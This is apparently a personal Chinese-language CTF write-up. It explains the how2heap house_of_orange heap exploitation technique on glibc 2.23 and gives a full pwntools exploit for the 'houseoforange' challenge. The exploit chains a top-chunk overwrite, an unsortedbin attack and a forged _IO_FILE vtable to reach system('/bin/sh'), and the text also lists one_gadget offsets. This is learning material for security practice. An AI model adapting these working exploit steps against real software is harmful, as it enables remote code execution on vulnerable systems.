0%

how2heap - house_of_orange&houseoforange

how2heap - house_of_orange&houseoforange

ubuntu16.04 libc2.23

house_of_orange.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
char *p1, *p2;
size_t io_list_all, *top;



p1 = malloc(0x400-0x10);//malloc一个small chunk (size:0x400)


top = (size_t *) ( (char *) p1 - 16 + 0x400);//top=&top_chunk
top[1] = 0xc01;//top_chunk.size=0xc01 这里,topchunk+size后的地址必须是页对齐的,prev_inuse必须要设置


p2 = malloc(0x1000);//malloc一个比top_chunk.size大的chunk,此时0xc01的旧top_chunk就会被放到 unsortedbin中去

io_list_all = top[2] + 0x9a8;//top的fd+0x9a8就等于io_list_all在libc中的地址

top[3] = io_list_all - 0x10;//把top的bk设置成io_list_all-0x10处,用于bck->fd = unsorted_chunks (av)这一任意写,此时写上去的正好是main_arena.top的地址(&main_arena.top)

memcpy( ( char *) top, "/bin/sh\x00", 8);// 将/bin/sh写到top_chunk上面


top[1] = 0x61;//在后面malloc(10)的时候,把chunk放到对应的chain处



_IO_FILE *fp = (_IO_FILE *) top;
/////////////////////////////////////////////////////////////这里就是FSOP那一套
fp->_mode = 0; // top+0xc0


fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
///////////////////////////////////////////////////////////////////////////////
malloc(10);//malloc(0x10),size不相等时触发任意写,并在任意写之后,由于unsortedbin->bk指向的是io_list_all-0x10,此处的对应的size为0,然后就会触发malloc_printerr
//触发malloc_printerr就会触发_IO_flush_all_lockp,之后通过chain,FSOP成功(这里能通过chain劫持成功的原因也是因为main_arena上对应偏移处的_mode值不为0)
//之后就会去执行我们的winner了,而且关键是IO_FILE对于函数的调用是类似于f(ptr)这样调用的,所以最后执行的时候就是_IO_OVERFLOW(fp, EOF)=>system(&top)
//然而此时top上的字符串是/bin/sh,所以就会getshell

return 0;
}

int winner(char *ptr)
{
system(ptr);
return 0;
}

由于源how2heap上的代码注释太多,要是对具体有疑问的推荐去看一下源代码上的注释,我这个主要是总结用,还有以后参考用

整个过程是一个很巧妙的过程,没有通过free,就是通过top_chunk和unsortedbin attack实现了这个利用,全程也不是特别难理解,我的调试过程就是看了一下到底是哪出错调用的malloc_printerr

houseoforange

程序分析

build

1584105896359

最多只能build 4次,对应的chunk联系如下图所示

1584105957540

其中Orange和price_color_chunk都是固定大小的,而且price_color_chunk是calloc出来的chunk

name是我们自己控制大小的一个chunk,最大可为0x1000

see

1584106502771

基本就是打印我们的name还有price,加上一个我们指定颜色的橘子

upgrade

1584106661589

最多只允许upgrade两次,其中更新时的lenth是我们自己输出的,存在一个溢出,然后就是更新price和color

漏洞分析&Exploit

漏洞点应该说很容易理解,就是upgrade中的overflow,主要就在于我们应该怎么利用。首先程序没有free,所以很多利用都没办法下手了,但是前面刚好学到了house_of_orange,是一个不需要用free即可实现的漏洞,再来看

build中的chunk申请顺序是:malloc(0x10);malloc(len);calloc(8)

然后我们的溢出产生在第二个chunk上,可以溢出到calloc出来的chunk还有topchunk

所以这里先build一个house来修改topchunk的size,和前面house_of_orange.c中一样,设置时保持top+size+0x20页对齐,用于后续利用

设置好之后build第二个house,此时指定name为0x1000大小,即可把原来的topchunk放到unsortedbin

这个时候再进行第三次build,指定name稍微小一点,保证这次build出来的house都是从top中切出来的,然后就可以进行溢出修改、leak的操作了

最后一次build触发FSOP即可……..?是不是还少了点什么,因为我们FSOP的时候需要吧vtable指向一个我们可以控制的地方,但是我还没有leak heap或者PIE啊….这怎么办,后来再查阅wp的时候知道了通过切割largechunk时残留的fd_nextsize和bk_nextsize leak的操作….说实话因为largebin在写题的时候用到的少所以没有想到XD…记下来免得以后不记得

PS:顺带记一下fd_nextsizebk_nextsize会被清空的情况

  1. 从unsortedbin中唯一last remainder中切出来的时候(malloc.c:3494)
  2. 从largebin中切割出的remainder放入unsortedbin时,如果remainder的size仍是属于largebin的,就将这两个ptr清空
    (malloc.c:3645)(我们最后堆地址泄露就是通过从这切出来的large victim chunk)
  3. 一个属于largesize的chunk,free被链入unsortedbin时

完整EXP

有了上面思路之后写WP就很好说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './houseoforange' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
def build(length,name,price,color):
p.recvuntil('Your choice : ')
p.send('1')
p.recvuntil('of name :')
p.send(str(length))
p.recvuntil('Name :')
p.send(name)
p.recvuntil('Price of Orange:')
p.send(str(price))
p.recvuntil('Color of Orange:')
p.send(str(color))

def upgrade(length,name,price,color):
p.recvuntil('Your choice : ')
p.send('3')
p.recvuntil('of name :')
p.send(str(length))
p.recvuntil('Name:')
p.send(name)
p.recvuntil('Price of Orange:')
p.send(str(price))
p.recvuntil('Color of Orange:')
p.send(str(color))

def see():
p.recvuntil('Your choice : ')
p.send('2')

build(0x10,'a'*0x10,1,0xDDAA)#0x20 0x20 0x20 0x20fa1
payload='a'*0x18+p64(0x21)+p64(0xddaa00000001)+p64(0)*2+p64(0xfa1)
upgrade(0x40,payload,1,0xDDAA)
build(0x1000,'\x00'*0x1000,1,0xDDAA)
build(0x400,'*'*0x8,1,0xDDAA)#when the size is largesize, the split victim chunk will remain the fd_nextsize&bk_nextsize

see()
p.recvuntil("********")
libc_base=my_u64(p.recv(6))-0x3c5188
loginfo("libc_base:",libc_base)

upgrade(0x10,'*'*0x10,1,0xDDAA)
see()
p.recvuntil('****************')
heap_base=my_u64(p.recv(6))-0xc0
loginfo("heap_base",heap_base)

payload='\x00'*0x408+p64(0x21)+p64(0xddaa00000010)+p64(0)+'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+0x3c5520-0x10)
payload+=(p64(0)+p64(1)).ljust(0xb0,'\x00')+p64(0)
payload=payload.ljust(0xc8,'\x00')+p64(heap_base+0x5c0)+p64(0)+p64(libc.symbols['system']+libc_base)

upgrade(len(payload),payload,1,0xDDAA)

p.recvuntil('Your choice : ')
p.send('1')

p.interactive()
'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)
largebin chunksize:0x410|0x450|0x490|0x4C0...
'''